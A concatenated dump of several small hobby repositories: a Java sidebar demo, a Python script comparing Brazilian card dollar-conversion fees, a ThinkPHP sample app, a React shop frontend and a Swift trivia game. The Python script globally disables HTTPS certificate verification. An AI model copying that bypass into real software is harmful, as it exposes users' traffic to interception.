SortBean("汉朝"," 成都敬江渠")); // I mList.add(new SortBean("I Love You"," 成都敬江渠")); // J mList.add(new SortBean("精忠报国"," 成都敬江渠")); mList.add(new SortBean("积极"," 成都敬江渠")); // K mList.add(new SortBean("康有为"," 成都敬江渠")); mList.add(new SortBean("康师傅"," 成都敬江渠")); // L mList.add(new SortBean("李白"," 成都敬江渠")); mList.add(new SortBean("李太白"," 成都敬江渠")); mList.add(new SortBean("李世民"," 成都敬江渠")); mList.add(new SortBean("林落"," 成都敬江渠")); // M mList.add(new SortBean("米老鼠"," 成都敬江渠")); mList.add(new SortBean("明日"," 成都敬江渠")); // N mList.add(new SortBean("你好啊"," 成都敬江渠")); // O mList.add(new SortBean("哦"," 成都敬江渠")); // P mList.add(new SortBean("骗你的"," 成都敬江渠")); // Q mList.add(new SortBean("情不自禁"," 成都敬江渠")); // R mList.add(new SortBean("日子不错"," 成都敬江渠")); // S mList.add(new SortBean("胜龙"," 成都敬江渠")); mList.add(new SortBean("神经病"," 成都敬江渠")); // T mList.add(new SortBean("提示"," 成都敬江渠")); mList.add(new SortBean("腾讯"," 成都敬江渠")); // U mList.add(new SortBean("U YB"," 成都敬江渠")); // V mList.add(new SortBean("V字头"," 成都敬江渠")); // W mList.add(new SortBean("王老三"," 成都敬江渠")); mList.add(new SortBean("王东的"," 成都敬江渠")); // X mList.add(new SortBean("新人"," 成都敬江渠")); mList.add(new SortBean("洗漱"," 成都敬江渠")); // Y mList.add(new SortBean("阳光"," 成都敬江渠")); mList.add(new SortBean("杨家枪"," 成都敬江渠")); // Z mList.add(new SortBean("张三"," 成都敬江渠")); mList.add(new SortBean("张龙"," 成都敬江渠")); mList.add(new SortBean("张笑龙"," 成都敬江渠")); // # } }
f949d3d6e3d3b27bf16978591655cd77cf09da84
[ "Markdown", "Java", "Gradle" ]
8
Java
lzjin/SideBarView
1810123285fff7878896e8aed26a72bcde959118
566fa0ab44a1755344f92f56664797d9c8a6587a
refs/heads/master
<file_sep>import pandas as pd import numpy as np import matplotlib.pyplot as plt import requests import json import ssl try: _create_unverified_https_context = ssl._create_unverified_context except AttributeError: pass else: ssl._create_default_https_context = _create_unverified_https_context source_bradesco = "https://proxy.api.prebanco.com.br/bradesco/dadosabertos/taxasCartoes/itens" source_caixa = "https://api.caixa.gov.br:8443/dadosabertos/taxasCartoes/1.2.0/itens" source_itau = "https://api.itau.com.br/dadosabertos/taxasCartoes/taxas/itens" source_nubank = "https://dadosabertos.nubank.com.br/taxasCartoes/itens" source_cotacao = "https://olinda.bcb.gov.br/olinda/servico/PTAX/versao/v1/odata/CotacaoDolarPeriodo(dataInicial=@dataInicial,dataFinalCotacao=@dataFinalCotacao)?@dataInicial='06%2F08%2F2020'&@dataFinalCotacao='10%2F18%2F2020'&$top=10000&$format=json&$select=cotacaoCompra,cotacaoVenda,dataHoraCotacao" inicio_analise = pd.to_datetime("2020-10-05") periodo_analise = 30 dias_excluidos = ["2020-10-04", "2020-10-03", "2020-09-27", "2020-09-26", "2020-09-20", "2020-09-19", "2020-09-13", "2020-09-12", "2020-09-07", "2020-09-06", "2020-09-05", "2020-08-30", "2020-08-29"] for i in range(len(dias_excluidos)): dias_excluidos[i] = pd.to_datetime(dias_excluidos[i]) ''' Passos a seguir: *** DONE *** [1] Pegar a string json de cada linha da coluna historicoTaxas do dataframe *** DONE *** [2] Ler a linha json pd.read_json(linha) e tranformar num dataframe de 4 colunas e 1 linha *** DONE *** [3] Juntar todos os dataframes num df só (possivelmente já fazer isso linha a linha logo apos a leitura) *** DONE *** [4] Juntar o df historico com o principal *** DONE *** [5] Apagar as colunas emissorCnpj, historicoTaxas e taxaDivulgacaoDataHora do df principal ''' def prepara_dataframe(source): df_linha = pd.DataFrame() if source == source_itau: df_source = json.loads(requests.get(source_itau).text) df_source = pd.DataFrame(df_source[0]) df_source = df_source.at[0, 'itens'] df_emissor = pd.DataFrame(df_source['emissor'], index = [0]) df_historico = pd.DataFrame(df_source['historicoTaxas']) for linha in range(df_historico.shape[0]): df_linha = pd.concat([df_linha, df_emissor], ignore_index = True) df_historico['taxaData'] = pd.to_datetime(df_historico['taxaData']) df_source = df_linha df_source = pd.concat([df_source, df_historico], axis = 1) df_source = df_source.drop(columns = ['emissorCnpj', 'taxaDivulgacaoDataHora']) elif source == source_cotacao: df_source = pd.read_json(source) hist_source = df_source.iloc[:,[1]] df_historico = pd.DataFrame() for linha in range(hist_source.shape[0]): df_linha = pd.DataFrame(hist_source.at[linha,'value'], index = [0]) df_linha['dataHoraCotacao'] = pd.to_datetime(df_linha['dataHoraCotacao']).dt.date df_historico = pd.concat([df_historico, df_linha], ignore_index = True) df_source = df_historico else: df_source = pd.read_json(source) hist_source = df_source.iloc[:,[2]] df_historico = pd.DataFrame() for linha in range(hist_source.shape[0]): df_linha = pd.DataFrame(hist_source.at[linha,'historicoTaxas'], index = [0]) df_linha['taxaData'] = pd.to_datetime(df_linha['taxaData']) df_historico = pd.concat([df_historico, df_linha], ignore_index = True) df_source = pd.concat([df_source, df_historico], axis = 1) df_source = df_source.drop(columns = ['emissorCnpj', 'historicoTaxas', 'taxaDivulgacaoDataHora']) return df_source df_bradesco = prepara_dataframe(source_bradesco) df_caixa = prepara_dataframe(source_caixa) df_itau = prepara_dataframe(source_itau) df_nubank = prepara_dataframe(source_nubank) df_cotacao = prepara_dataframe(source_cotacao) ''' Próximos passos: *** DONE *** [1] Inverter a ordem do Bradesco *** DONE *** [2] Remover os valores de débito do Bradesco *** DONE *** [3] Alterar 'CREDITO' para 'Crédito" no df da Caixa *** DONE *** [4] Alterar 'CAIXA ECONOMICA FEDERAL' *** DONE *** [5] Excluir os dias não úteis dos dfs do Itaú e Nubank *** DONE *** [6] Verificar se os dfs começam na mesma data *** DONE *** [7] Diminuir o dataset para os últimos 90, 60 ou 30 dias ''' def altera_data_inicio(df, df_data, inicio): for linha in range(df.shape[0]): if df_data[linha] == inicio: return df else: df = df.drop(linha) def altera_dias_uteis(df, df_data): quantidade_dias = len(dias_excluidos) linha = 0 for contador in range(quantidade_dias): while not df_data[linha] == dias_excluidos[contador]: linha = linha + 1 df = df.drop(linha) linha = linha + 1 return df df_bradesco = df_bradesco.drop(df_bradesco.loc[df_bradesco['taxaTipoGasto'] == 'Débito à conta'].index) df_bradesco = df_bradesco.iloc[::-1].reset_index(drop = True) df_cotacao = df_cotacao.iloc[::-1].reset_index(drop = True) df_itau = altera_dias_uteis(df_itau, df_itau["taxaData"]) df_nubank = altera_dias_uteis(df_nubank, df_nubank["taxaData"]) df_bradesco = altera_data_inicio(df_bradesco, df_bradesco["taxaData"], inicio_analise) df_caixa = altera_data_inicio(df_caixa, df_caixa["taxaData"], inicio_analise) df_itau = altera_data_inicio(df_itau, df_itau["taxaData"], inicio_analise) df_nubank = altera_data_inicio(df_nubank, df_nubank["taxaData"], inicio_analise) df_cotacao = altera_data_inicio(df_cotacao, df_cotacao["dataHoraCotacao"], inicio_analise) df_bradesco = df_bradesco.reset_index(drop = True) df_caixa = df_caixa.reset_index(drop = True) df_itau = df_itau.reset_index(drop = True) df_nubank = df_nubank.reset_index(drop = True) df_cotacao = df_cotacao.reset_index(drop = True) df_caixa = df_caixa.replace({'CAIXA ECONOMICA FEDERAL' : 'Caixa Economica Federal', 'CREDITO' : 'Crédito'}) df_bradesco = df_bradesco.loc[:29] df_caixa = df_caixa.loc[:29] df_itau = df_itau.loc[:29] df_nubank = df_nubank.loc[:29] df_cotacao = df_cotacao.loc[:29] ''' print(df_bradesco) print(df_caixa) print(df_itau) print(df_nubank) print(df_cotacao) ''' df_analise = pd.DataFrame() df_analise.insert(0, 'Data', df_cotacao["dataHoraCotacao"]) df_analise.insert(1, 'Compra', df_cotacao["cotacaoCompra"]) df_analise.insert(2, 'Bradesco', df_bradesco["taxaConversao"]) df_analise.insert(3, 'Caixa', df_caixa["taxaConversao"]) df_analise.insert(4, 'Itaú', df_itau["taxaConversao"]) df_analise.insert(5, 'Nubank', df_nubank["taxaConversao"]) print(df_analise)
9c1532b7536788446f493e0fca4af4df2a95d99f
[ "Python" ]
1
Python
analetisouza/taxa-dolar-credito
89a81f05107d8847223c558bf7178b808862b904
aa83c5df0ac8ee684b27580fcae56b5fdee8dc76
refs/heads/main
<repo_name>gilrg18/epamFront<file_sep>/myshop/src/modalComponents/AddModal.js import { Modal, Button, InputGroup, FormControl } from 'react-bootstrap'; import React, { useState } from 'react'; import Api from '../API/Api'; const AddModal = (props) => { const [item, setItem] = React.useState({ itemID: "", itemName: "", itemDescription: "", price: "" }) const getNewKey = () => { const myKey = props.myItems[props.myItems.length - 1].itemID + 1 return myKey; } const handleItemValues = (e) => { const newItem = { ...item } newItem[e.target.id] = e.target.value setItem(newItem) } const [show, setShow] = useState(false); const handleShow = () => setShow(true); const handleClose = () => setShow(false); return ( <> <Button className="space2" variant="success rounded-pill" onClick={handleShow}> Add Item </Button> <Modal show={show} onHide={handleClose}> <Modal.Header closeButton> <Modal.Title className="display-6">Add Item</Modal.Title> </Modal.Header> <Modal.Body> <InputGroup size="sm" className="mb-3"> <InputGroup.Text id="inputGroup-sizing-default">Item Name</InputGroup.Text><FormControl onChange={(event) => handleItemValues(event)} id="itemName" value={item.itemName} placeholder="Item Name" type="text" /> </InputGroup> <InputGroup size="sm" className="mb-3"> <InputGroup.Text id="inputGroup-sizing-default">Item Description</InputGroup.Text><FormControl onChange={(event) => handleItemValues(event)} id="itemDescription" value={item.itemDescription} placeholder="Item Description" type="text" /> </InputGroup> <InputGroup size="sm" className="rounded-pill mb-3"> <InputGroup.Text id="inputGroup-sizing-default">Item Price</InputGroup.Text><FormControl onChange={(event) => handleItemValues(event)} id="price" value={item.price} placeholder="Item Price" type="text" /> </InputGroup> </Modal.Body> <Modal.Footer> <Button variant="secondary rounded-pill" onClick={handleClose}> Close </Button> <Button variant="success rounded-pill" onClick={() => Api.addItem(item, getNewKey(), props, handleClose)}> Add Item </Button> </Modal.Footer> </Modal> </> ); } export default AddModal; <file_sep>/myshop/src/adminComponents/NavbarComponent.js import React from 'react' import { Navbar, Nav } from 'react-bootstrap' import { BrowserRouter as Router, Switch, Route, Link } from 'react-router-dom' import { CartProvider } from '../cartComponents/CartContext' import { FiShoppingCart } from 'react-icons/fi' import AdminPage from './AdminPage' import Login from '../login/Login' import UserPage from '../userComponents/UserPage' import CartComponent from '../cartComponents/CartComponent' const NavbarComponent = () => { return ( <CartProvider> <Router> <div> <Navbar bg="dark" variant={"dark"} expand="lg"> <Navbar.Brand href="/">epamShop</Navbar.Brand> <Navbar.Toggle aria-controls="navbarScroll" /> <Navbar.Collapse id="navbarScroll"> <Nav className="mr-auto my-2 my-lg-0" style={{ maxHeight: '100px' }} navbarScroll > <Nav.Link as={Link} to={"/user"}>Shop</Nav.Link> <Nav.Link as={Link} to={"/admin"}>Admin Page</Nav.Link> </Nav> <Nav> <Nav></Nav> <Nav.Link as={Link} to={"/cart"}><FiShoppingCart /> Cart</Nav.Link> </Nav> </Navbar.Collapse> </Navbar> </div> <div> <Switch> <Route path='/' exact component={AdminPage} /> <Route path='/user' exact component={UserPage} /> <Route path='/admin' exact component={AdminPage} /> <Route path='/login' exact component={Login} /> <Route path='/cart' exact component={CartComponent} /> <Route path='/' render={() => <div className="page-wrap d-flex flex-row align-items-center"> <div className="container"> <div className="row justify-content-center"> <div className="col-md-12 text-center"> <span className="display-1 d-block">404</span> <div className="mb-4 lead">The page you are looking for was not found.</div> <a href="/" className="btn btn-link">Back to Home</a> </div> </div> </div> </div>} /> </Switch> </div> </Router> </CartProvider> ) } export default NavbarComponent;<file_sep>/myshop/src/cartComponents/Cart.js import React from 'react' import { CartContext } from './CartContext' import { Button } from 'react-bootstrap' import CartController from '../cartComponents/CartController' const Cart = (props) => { const [cart, setCart] = React.useContext(CartContext); return ( <div className="items"> {cart.map(item => { return ( <div className="epamColor product" key={item.itemID}> <div className="row"> <div className="divPos col-md-3"> <img className="divImg" src={item.image} alt="img" /> </div> <div className="col-md-8"> <div className="info"> <div className="row"> <div className="col-md-5 product-name"> <div className="product-name"> <div>{item.itemName}</div> <div className="product-info"> <div>Description: <span className="value">{item.itemDescription}</span></div> </div> </div> </div> <div className="col-md-4 quantity"> <label htmlFor="quantity">Quantity:</label> <input readOnly value={item.quantity} className="form-control quantity-input" /> <Button className="space" variant="primary rounded-pill " onClick={() => { CartController.addToCart(item, cart, setCart); }}> + </Button> <Button className="space" variant="primary rounded-pill" onClick={() => { CartController.removeFromCart(item, cart, setCart); }}> - </Button> </div> <div className="col-md-3 price"> <span>${item.price}</span> </div> </div> </div> </div> </div> </div> ) }) } </div> ); } export default Cart; <file_sep>/myshop/src/toasts/Toasts.js import { toast } from 'react-toastify' import 'react-toastify/dist/ReactToastify.css' toast.configure(); class Toasts { error = (message) => { toast.error(message, { position: toast.POSITION.BOTTOM_RIGHT, autoClose: 3000 }) } sucess = (message) => { toast.success(message, { position: toast.POSITION.BOTTOM_RIGHT, autoClose: 3000 }) } } export default new Toasts();<file_sep>/myshop/src/cartComponents/CartController.js class CartController { addToCart = (item, cart, setCart) => { const itemToAdd = { itemID: item.itemID, itemName: item.itemName, price: item.price, itemDescription: item.itemDescription, image: item.image } const exist = cart.find(cartItem => cartItem.itemID === itemToAdd.itemID) if (exist) { setCart( cart.map(currentItem => currentItem.itemID === exist.itemID ? { ...exist, quantity: exist.quantity + 1 } : currentItem ) ); } else { setCart(currentState => [...currentState, { ...itemToAdd, quantity: 1 }]); } } removeFromCart = (item, cart, setCart) => { const exist = cart.find(cartItem => cartItem.itemID === item.itemID) if (exist.quantity === 1) { setCart(cart.filter(currentItem => currentItem.itemID !== item.itemID)) } else { setCart( cart.map(currentItem => currentItem.itemID === exist.itemID ? { ...exist, quantity: exist.quantity - 1 } : currentItem ) ) } } } export default new CartController();<file_sep>/myshop/src/adminComponents/AdminPage.js import React from 'react' import ItemList from './ItemList'; import AddModal from '../modalComponents/AddModal'; import { Table } from 'react-bootstrap' import Api from '../API/Api' import '../css/index.css' const AdminPage = () => { //Consume itemsAPI with useEffect const [myItems, setItems] = React.useState([]); React.useEffect(() => { const fetchItems = async () => { const items = await Api.getItems(); setItems(items); } fetchItems(); }, []) return ( <> <h1 className="display-4 text-center mt-3">epamShop Admin</h1> <Table className="container shadow" bordered hover> <thead> <tr> <th>id</th> <th>Item</th> <th>Description</th> <th>Price</th> <th>Action <AddModal myItems={myItems} setItems={setItems} /></th> </tr> </thead> <tbody> { myItems.map(item => { return <ItemList key={item.itemID} itemID={item.itemID} itemName={item.itemName} itemDescription={item.itemDescription} itemImage={item.image} price={item.price} setItems={setItems} /> }) } </tbody> </Table> </> ); } export default AdminPage; <file_sep>/myshop/src/cartComponents/CartComponent.js import React from 'react' import { CartContext } from './CartContext' import '../css/Cart.css' import Cart from './Cart' import CartSummary from './CartSummary' const CartComponent = () => { const [cart] = React.useContext(CartContext); return ( <section className="shopping-cart dark"> <div className="container"> <div className="block-heading"> <div>{cart.length === 0 && <div>{ }Empty Cart</div>}</div> </div> <div className="content"> <div className="row"> <div className="col-md-12 col-lg-8"> <Cart></Cart> </div> <div className="col-md-12 col-lg-4"> <CartSummary></CartSummary> </div> </div> </div> </div> </section> ) } export default CartComponent;<file_sep>/myshop/src/API/Api.js import Toasts from '../toasts/Toasts' import ErrorHandler from './ErrorHandler'; class Api { getItems = async () => { try { // const data = await fetch('/myItems/items/'); const data = await fetch(' https://epam-shop.herokuapp.com/myItems/items/'); const items = await data.json(); return items; } catch (e) { return null; } }; deleteItem = async (itemID, setItems) => { if (1 <= itemID && itemID <= 35) { Toasts.error('This item cannot be deleted') } else { // await fetch(`/myItems/items/${itemID}`, { await fetch(` https://epam-shop.herokuapp.com/myItems/items/${itemID}`, { method: 'DELETE' }); const items = await this.getItems(); setItems(items); Toasts.sucess(`Item with id ${itemID} has been deleted`) } }; addItem = async (item, newKey, props, handleClose) => { item.itemID = newKey; try { let newPrice = Number(parseFloat(item.price).toFixed(2)) ErrorHandler.handleErrors(item, newPrice); // await fetch(`/myItems/items/`, { await fetch(` https://epam-shop.herokuapp.com/myItems/items/`, { method: 'POST', headers: { 'Accept': 'application/json', 'Content-type': 'application/json', }, body: JSON.stringify({ itemID: item.itemID, itemName: item.itemName, itemDescription: item.itemDescription, price: newPrice }) }) const items = await this.getItems(); props.setItems(items); Toasts.sucess(`Item ${item.itemName} has been added`) } catch (error) { return null; } handleClose(); } updateItem = async (item, props, handleClose) => { try { let newPrice = Number(parseFloat(item.price).toFixed(2)) ErrorHandler.handleErrors(item, newPrice); // await fetch(`/myItems/items/${props.itemID}`, { await fetch(` https://epam-shop.herokuapp.com/myItems/items/${props.itemID}`, { method: 'PUT', headers: { 'Accept': 'application/json', 'Content-type': 'application/json', }, body: JSON.stringify({ itemName: item.itemName, itemDescription: item.itemDescription, price: newPrice }) }) const items = await this.getItems(); props.setItems(items) Toasts.sucess(`Item ${item.itemName} has been updated`) } catch (error) { return null; } handleClose(); } } export default new Api();<file_sep>/myshop/src/cartComponents/CartSummary.js import React from 'react' import { CartContext } from './CartContext' import { Badge } from 'react-bootstrap' const CartSummary = () => { const [cart] = React.useContext(CartContext); const itemsPrice = cart.reduce((accumulator, currentItem) => accumulator + Number(currentItem.price) * currentItem.quantity, 0); const shippingPrice = itemsPrice > 50 ? 0 : 10; const totalPrice = itemsPrice + shippingPrice; const totalItems = cart.reduce((accumulator, currentItem) => accumulator + currentItem.quantity, 0); return ( <div> {itemsPrice ? ( <div className="summary"> <h3>Summary {totalItems ? (<Badge pill bg="danger">{totalItems}</Badge>) : (' ')}</h3> {cart.map(item => { return (<div key={item.itemID} className="summary-item"><span>{item.itemName} x {item.quantity}</span><span className="price">${(item.price * item.quantity).toFixed(2)}</span></div>) })} <div className="summary-item"><span className="text">Subtotal</span><span className="price">${itemsPrice.toFixed(2)}</span></div> <div className="summary-item"><span className="text">Shipping</span><span className="price">${shippingPrice.toFixed(2)}</span></div> <div className="summary-item"><span className="cartTotal">Total</span><span className="cartTotalPrice">${totalPrice.toFixed(2)}</span></div> <button type="button" className="btn btn-primary btn-lg btn-block">Checkout</button> </div>) : ('')} </div> ) } export default CartSummary;<file_sep>/myshop/src/adminComponents/ItemList.js import React from 'react' import Api from '../API/Api'; import UpdateModal from '../modalComponents/UpdateModal' import '../css/itemList.css' const ItemList = (props) => { const { itemID, itemName, itemDescription, price, itemImage, setItems } = props; return ( <> <tr> <th scope="row">{itemID}</th> <td> <img className="img" src={itemImage} alt="item"/> {itemName} </td> <td>{itemDescription}</td> <td>${price}</td> <td> <UpdateModal setItems={props.setItems} itemID={itemID} /> <button type="button" className="space btn btn-danger rounded-pill" onClick={() => { Api.deleteItem(itemID, setItems) } }>Delete</button> </td> </tr> </> ); } export default ItemList;<file_sep>/myshop/src/userComponents/UserPage.js import React from 'react' import ItemCard from './ItemCard'; import Api from '../API/Api' import { CartContext } from '../cartComponents/CartContext'; import CartController from '../cartComponents/CartController' const UserPage = () => { const [myItems, setItems] = React.useState([]); const [cart, setCart] = React.useContext(CartContext) React.useEffect(() => { const fetchItems = async () => { const items = await Api.getItems(); setItems(items); } fetchItems(); }, []) return( <> <h1 className="display-4 text-center mt-3">epamShop</h1> <section className="pi container"> <div className="row justify-content-center block shadow"> { myItems.map(item => { return <ItemCard key={item.itemID} item={item} cart={cart} setCart={setCart} addToCart={CartController.addToCart} /> }) } </div> </section> </> ); } export default UserPage;<file_sep>/myshop/src/userComponents/ItemCard.js import React from 'react'; import { Image } from 'react-bootstrap'; import { CartContext } from '../cartComponents/CartContext'; import Toasts from '../toasts/Toasts'; const ItemCard = (props) => { const { item, addToCart } = props; const [cart, setCart] = React.useContext(CartContext) return ( <> <div className="col-11 col-md-6 col-lg-3 mx-0 mb-4 "> <div className="card shadow" > <Image src={item.image} height='250' className="card-img-top " alt='item' rounded /> <div className="card-body"> <h4 className="card-title">{item.itemName}</h4> <p className="card-text">{item.itemDescription}</p> <p className="itemPrice">${item.price}</p> <button onClick={() => { addToCart(item, cart, setCart) Toasts.sucess(`${item.itemName} added to Cart` ) } } type="button" className="btn btn-success btn-block rounded-pill shadow">Add to Cart</button> </div> </div> </div> </> ); }; export default ItemCard;<file_sep>/myshop/src/App.js import './css/App.css'; import React from 'react'; import NavbarComponent from './adminComponents/NavbarComponent'; import UserNavbarComponent from './userComponents/UserNavbarComponent'; import Login from './login/Login' const App = () => { const [loggedIn, setLoggedIn] = React.useState('') // React.useEffect(()=>{ // }, []) return ( <> {loggedIn === '' && <Login setLoggedIn={setLoggedIn}></Login>} {loggedIn === 'ADMIN' && <NavbarComponent></NavbarComponent>} {loggedIn === 'USER' && <UserNavbarComponent></UserNavbarComponent>} </> ); } export default App;
8fa13d6d32368e070f84bd503295fc58e9bbbb51
[ "JavaScript" ]
13
JavaScript
gilrg18/epamFront
38a65d07fce49e7a4c98eb108694b7e93d9f5145
22ed9156a26b150a1e51ce940dc11aa10b1dc176
refs/heads/master
<repo_name>wangwanchao/Talk<file_sep>/Talk/Home/Model/UserModel.class.php <?php namespace Home\Model; use Think\Model; class UserModel extends Model{ // public function __construct(){ // parent::__construct(); // echo '\Home'; // } //规定属性命名$_scope protected $_scope = array( 'sql1' => array( 'where'=>array('id'=>1), ), 'sql2' => array( 'order'=>array('date'=>'DESC'), 'limit'=>2, ), ); protected $insertFields = 'user'; protected $updateFields = 'user'; }<file_sep>/Talk/Home/Controller/UserController.class.php <?php namespace Home\Controller; use Think\Controller; use Think\Model; //use Home\Model\UserModel; class UserController extends Controller { public function index(){ echo("User"); } public function test($user,$pass){ echo 'user:'.$user.'<br/>pass:'.$pass; } public function model(){ //创建Model基类 // $user = new Model('User'); //连接数据库 // $user = new Model('User','think_','mysql://root:mysql123@localhost/thinkphp'); //连接数据库 // var_dump($user); //$user = M('User'); //$user = new UserModel(); // $user = D('User'); // $user = D('Admin/User'); // var_dump($user->select()); //原生方法查询 // $user = M(); // var_dump($user->query('SELECT * FROM think_user WHERE id=1')); //2、使用数组索引作为查询条件 // $user = M('User'); // $condition['id'] = 1; // $condition['user'] = '蜡笔小新'; // $condition['_logic'] = 'OR'; // $condition = new \stdClass(); // $condition->id = 2; // $condition->user = '蜡笔小新'; // $condition->_logic = 'OR'; // var_dump($user->where($condition)->select()); // $map['id'] = array('eq',1); // $map['user'] = array('like','%小%'); // $map['user'] = array('notlike','%小%'); // $map['user'] = array('like',array('%小%','%蜡%'),'AND'); // $map['id'] = array('exp', '<4'); // $map['_logic'] = 'OR'; // var_dump($user->where($map)->select()); //快捷查询 // $map['user|email'] = '蜡笔小新'; // $map['id&email'] = array(1,'蜡笔小新','_multi'=>true); // $map['id&email'] = array(array('gt',0),'蜡笔小新','_multi'=>true); //区间查询 // $map['id'] = array(array('gt',1),array('lt',4)); //组合查询 // $map['_string'] = 'user="蜡笔小新" AND email="<EMAIL>" '; // $map['_query'] = 'user=蜡笔小新&email=<EMAIL>&_logic=OR'; //复合查询(_compe) //6、统计查询 // var_dump($user->where($map)->select()); // var_dump($user->count()); //7、动态查询 // var_dump($user->getByEmail('<EMAIL>')); // var_dump($user->getFieldByEmail('<EMAIL>',user)); //8、SQL查询 // var_dump($user->query('')); // var_dump($user->execute('')); //连贯操作 // var_dump($user->where('id>1')->order('date DESC')->limit(2)->select()); // var_dump($user->where('id in (1,2,3)')->find(3)); // var_dump($user->order('id DESC,email DESC')->select()); // var_dump($user->field('id,user')->limit(2)->select()); // var_dump($user->page(2,2)->select()); // var_dump($user->table('__USER__')->select()); // var_dump($user->field('user')->distinct(true)->select()); // var_dump($user->cache(true)->select()); //命名范围 $user = D('User'); // var_dump($user->scope('sql1')->select()); var_dump($user->sql2()->select()); } public function create(){ // $user = M('User'); // $data['date'] = date('Y-m-d H:i:s'); $user = D('User'); var_dump($user->create($_POST,Model::MODEL_INSERT)); } public function add(){ $user = M('user'); $data['user'] = $_POST['user']; $user->add($data); } }<file_sep>/Talk/Admin/Conf/config.php <?php return array( //'配置项'=>'配置值' #设置PATHINFO模式、普通模式 // 'URL_PATHINFO_DEPR' => '_' );<file_sep>/Talk/Common/Conf/config.php <?php return array( //'配置项'=>'配置值' #手动禁止访问 //'MODULE_DENY_LIST' =>array('','',''); #手动允许访问 #设置默认加载模块 // 'DEFAULT_MODULE'=>'Admin', #修改URL键模式 #mysql全局定义 'DB_TYPE' => 'mysql', 'DB_HOST' => 'localhost', 'DB_USER' => 'root', 'DB_PWD' => '<PASSWORD>', 'DB_NAME' => 'thinkphp', 'DB_PORT' => 3306, 'DB_PREFIX' => 'think_', #PDO连接 /* 'DB_TYPE' => 'pdo', 'DB_USER' => 'root', 'DB_PWD' => '<PASSWORD>', 'DB_PREFIX' => 'think_', 'DB_DSN' => 'mysql:host=localhost;dbname=thinkphp;charset=UTF8', */ 'SHOW_PAGE_TRACE' => true, );
6491ded517a5499761b4cf477b72c3fc8c23107e
[ "PHP" ]
4
PHP
wangwanchao/Talk
ba88e85dcc4e2ca5dbdc370d6418fc873b8e6749
034a0ecbf18a4c054219f6dfc035d2aef879c8ec
refs/heads/master
<file_sep>// // ViewController.swift // TriviaGame // // Created by 24NilaDharmaraj on 7/18/19. // Copyright © 2019 <NAME>. All rights reserved. // import UIKit class ViewController: UIViewController { var questions = ["Which singer’s real name is <NAME>?", " What is the name of Batman’s butler?", " What is Chandler’s last name in the sitcom Friends?", "Which pop album is the best selling of all time?", "Which nail grows fastest?", "Where is the smallest bone in the body?"] var currQ = 0 var answers = ["<NAME>", "Alfred", "Bing", "Thriller by <NAME>", "Middle", "Ear"] override func viewDidLoad() { super.viewDidLoad() // Do any additional setup after loading the view. } } <file_sep>// // TriviaGameViewController.swift // TriviaGame // // Created by 24NilaDharmaraj on 7/18/19. // Copyright © 2019 <NAME>. All rights reserved. // import UIKit class TriviaGameViewController: UIViewController { var questions = ["Which singer’s real name is <NAME>?", "I can fly but have no wings. I can cry but I have no eyes. Wherever I go, darkness follows me. What am I?", " What is Chandler’s last name in the sitcom Friends?", "Which pop album is the best selling of all time? Please say the artist!", "Which nail grows fastest?", "Where is the smallest bone in the body?", "Who cut Van Gough's ear?", " How many dots are there on two dice?", "What language has the most words?", "What has a head, a tail, is brown, and has no legs?", "What kind of animal is a prairie dog?", "How long did the 100 years war last?", "What color is blueberry jam?", "What tastes better than it smells?", "I can be cracked, made, told, and played. What am I?"] var currQ = 0 var answers = ["<NAME>", "a cloud", "Bing", "Thriller by <NAME>", "middle", "ear", "himself", "42", "English", "penny", "rodent", "116 years", "purple", "tongue", "a joke"] var score = 0 @IBAction func textFieldEnter(_ sender: Any) { processAnswer () } @IBOutlet weak var answerSwitch: UISwitch! @IBOutlet weak var endOfGameMessage: UILabel! @IBOutlet weak var questionLabel: UILabel! @IBOutlet weak var userAnswerTextField: UITextField! @IBOutlet weak var validationLabel: UILabel! @IBOutlet weak var scoreLabel: UILabel! override func viewDidLoad() { super.viewDidLoad() questionLabel.text = questions[currQ] } @IBAction func checkButton(_ sender: Any) { processAnswer () } func processAnswer () { if (userAnswerTextField.text == "") { validationLabel.text = "Please enter an answer." return } let userAnswer = userAnswerTextField.text let correctAnswer = answers[currQ] if(userAnswer!.caseInsensitiveCompare(correctAnswer) == .orderedSame) { validationLabel.text = "Good job! You got the right answer!" score += 1 } else { if(answerSwitch.isOn) { validationLabel.text = "Sorry, that was incorrect. The correct answer is \(correctAnswer)" } else { validationLabel.text = "Sorry, that was incorrect." } } currQ += 1 if (currQ >= questions.count) { if (score > questions.count/2) { endOfGameMessage.text = "Good game! Thanks for playing! :)" } else { endOfGameMessage.text = "Aww! Better luck next time, pal. :) Click the back to home button for another chance bud :)" } } else { questionLabel.text = questions [currQ] } userAnswerTextField.text = "" scoreLabel.text = "Score: \(String(score))" } }
7e606c179bb7846e542b21b715611aba88cd357b
[ "Swift" ]
2
Swift
niladharmaraj/TriviaGame
f9b22d5bcc35e7c33b1128be00412c9a9dd58dd3
5406480fd1942d70ec99d61224d3cc36adef1269
refs/heads/master
<file_sep># data-structures-kata Practicing data structure manipulation <file_sep>const { LinkList, pushNode, unshiftNode, insertNode } = require("./linkedLists"); describe("Linked List", function() { it("should have its own value", function() { const actual = new LinkList("Sam"); expect(actual.value).toBeTruthy(); }); it("should have a reference to a next value set to null", function() { const actual = new LinkList("Adams"); expect(actual.next).toBeNull(); }); it("should have a way to add a node to the end of a linked list", function() { let test = { value: 1, next: { value: 2, next: { value: 3, next: null } } }; const expected = { value: 1, next: { value: 2, next: { value: 3, next: { value: 4, next: null } } } }; test = pushNode(4, test); expect(test).toEqual(expected); }); it("should have a way to reassign the head of the linked list", function() { let test = { value: 1, next: { value: 2, next: { value: 3, next: null } } }; const expected = { value: 4, next: { value: 1, next: { value: 2, next: { value: 3, next: null } } } }; test = unshiftNode(4, test); expect(test).toEqual(expected); }); it("should have a method to insert a node in the center of the list", function() { const test = { value: 1, next: { value: 2, next: { value: 3, next: { value: 4, next: null } } } }; const expected = { value: 1, next: { value: 2, next: { value: "a", next: { value: 3, next: { value: 4, next: null } } } } }; insertNode("a", 2, test); expect(test).toEqual(expected); }); });
593751de71fbc4a4b729fc543511d6ef98d3c8a8
[ "Markdown", "JavaScript" ]
2
Markdown
EthanEFung/data-structures-kata
ee15e27fbfefd6c84d6387ed71c5813d0c3b3b78
a051695e56fdd0c6750f623fe1ab9ebfd58eb9ee
refs/heads/master
